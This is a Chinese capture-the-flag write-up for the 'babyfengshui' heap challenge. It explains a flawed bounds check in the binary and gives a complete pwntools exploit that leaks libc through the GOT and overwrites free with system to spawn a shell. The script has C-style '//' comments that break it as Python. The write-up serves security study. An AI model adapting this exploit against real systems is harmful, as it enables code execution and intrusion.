【buu】babyfengshui_33c3_2016(详细题解)

目录

  • 前言
  • 题解
  • 完整脚本
  • 总结

前言

这应该是到目前为止理解的最透彻的堆题了

题解

在这里插入图片描述
32位的程序,开了 Canary, Nx 保护
先放进IDA看看
【buu】babyfengshui_33c3_2016(详细题解)_第1张图片
又是个堆题,常规流程
【buu】babyfengshui_33c3_2016(详细题解)_第2张图片

先看 add 函数
首先申请了descriptionchunk ,接着又申请了一个0x80大小的 chunk
然后将 descriptionchunk 指针 放到第二个 chunk 中,
接着是一个指针数组 *(&ptr + byte_804b069) 存放第二个 chunk
接着是调用 get_name 函数输入 name
读入 124 字节到第二个 chunk 偏移为 4 的地方

【buu】babyfengshui_33c3_2016(详细题解)_第3张图片
get_name 函数对输入的 name 进行查找,如果里面有 10,则 将第二个 chunk 中存放 description chunk的指针置0
然后是 update 函数
【buu】babyfengshui_33c3_2016(详细题解)_第4张图片
首先是读入要修改的 description 长度,然后是一个 if 判断
如果 修改的长度 v3 + 指向description的指针 >= 指向name数组的指针 则返回失败
很显然这是一个防止堆溢出的判断
但是这种判断只基于 description 的堆块与 name 堆块地址相邻,所以可以利用堆的分配机制让这两个堆块分开,使其他的 chunk 分布在这两个堆块之间
【buu】babyfengshui_33c3_2016(详细题解)_第5张图片
delete函数先 free 了第二个 chunk 指向的 chunk 也就是第一个chunk
然后再 free 第二个chunk
接着把第二个 chunk 的指针置0,但是 descriptionchunk 指针没有置0

【buu】babyfengshui_33c3_2016(详细题解)_第6张图片
show函数显示数据
先打印出第二个 chunk 输入的 name 内容
然后打印出第一个 description chunk 里面的内容

先申请三个堆块,大小都是0x80

add(0x80,'nam1',0x80,'aaaa')
add(0x80,'nam2',0x80,'bbbb')
add(0x80,'nam3',0x80,'/bin/sh\x00')

【buu】babyfengshui_33c3_2016(详细题解)_第7张图片
生成了六个堆块
【buu】babyfengshui_33c3_2016(详细题解)_第8张图片
在这里可以看到堆块的结构,对快的先后顺序是 descriptino chunk0 ,name chunk0
现在释放我们申请的第一个堆块,description chunk0,和 name chunk 0,会合并为一个堆块
【buu】babyfengshui_33c3_2016(详细题解)_第9张图片
【buu】babyfengshui_33c3_2016(详细题解)_第10张图片
再申请一个新的 chunk0,大小为 0x100,系统后面自动申请 name chunk0的时候,unsortbin 里面的空闲堆块已经不满足要求,就要重新分配,而重新分配的 chunk0_name 则位于堆块尾部
【buu】babyfengshui_33c3_2016(详细题解)_第11张图片
【buu】babyfengshui_33c3_2016(详细题解)_第12张图片
查看最后一个堆块可以看到 chunk0_name 中存有 第一个堆块 chunk0_text 的地址
现在利用堆溢出到第一个堆块的 name chunk上,泄露 free 函数的地址,然后算出libc基址就可以得到system函数的地址了

payload = b'a'*0x108 + b'a'*0x08 + b'a'*0x80 + b'a'*0x08 + p32(free_got)
update(3,0x200,payload)

【buu】babyfengshui_33c3_2016(详细题解)_第13张图片
之前往第三个 chunk 里面写进了 /bin/sh\x00,现在只要把 free_got 替换为 system的地址,当我们在 free 掉第三个 chunk 的时候就会执行 system(‘/bin/sh’),获取shell

完整脚本

from pwn import*
context.log_level  = "debug"
elf = ELF('./pwn')
libc = ELF('./buulibc/libc-2.23.i386.so')
#io = remote('node4.buuoj.cn',26247)
io = process('./pwn')

def add(size,name,length,text):
	io.recvuntil(b'Action: ')
	io.sendline(b'0')
	io.recvuntil(b'size of description: ')
	io.sendline(str(size))
	io.recvuntil(b'name: ')
	io.sendline(name)
	io.recvuntil(b'text length: ')
	io.sendline(str(length))
	io.recvuntil(b'text: ')
	io.sendline(text)
def delete(id):
	io.recvuntil(b'Action: ')
	io.sendline(b'1')
	io.recvuntil(b'index: ')
	io.sendline(str(id))
def show(id):
	io.recvuntil(b'Action: ')
	io.sendline(b'2')
	io.recvuntil(b'index: ')
	io.sendline(str(id))
def update(id,length,text):
	io.recvuntil(b'Action: ')
	io.sendline(b'3')
	io.recvuntil(b'index: ')
	io.sendline(str(id))
	io.recvuntil(b'text length: ')
	io.sendline(str(length))
	io.recvuntil(b'text: ')
	io.sendline(text)

add(0x80,b'nam1',0x80,b'aaaa')
add(0x80,b'nam2',0x80,b'bbbb')
add(0x80,b'nam3',0x80,b'/bin/sh\x00')
delete(0)
add(0x100,b'name1',0x100,b'cccc') //申请新的 chunk id3
free_got = elf.got['free'] 
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
update(3,0x200,payload) //在 name thunk1 里面写入 free_got 地址
show(1) //输出地址
io.recvuntil(b'description: ')
free_addr = u32(io.recv(4)) //接收free_got的地址
libc_base = free_addr - libc.sym['free'] //计算libc基址
system = libc_base + libc.sym['system'] //算出system地址
print(hex(system))

update(1,0x80,p32(system)) // 写入system地址
delete(2)
#gdb.attach(io)
#pause()
io.interactive()

总结

我是菜鸡!

你可能感兴趣的:(pwn,算法,数据结构,c语言,汇编,网络安全)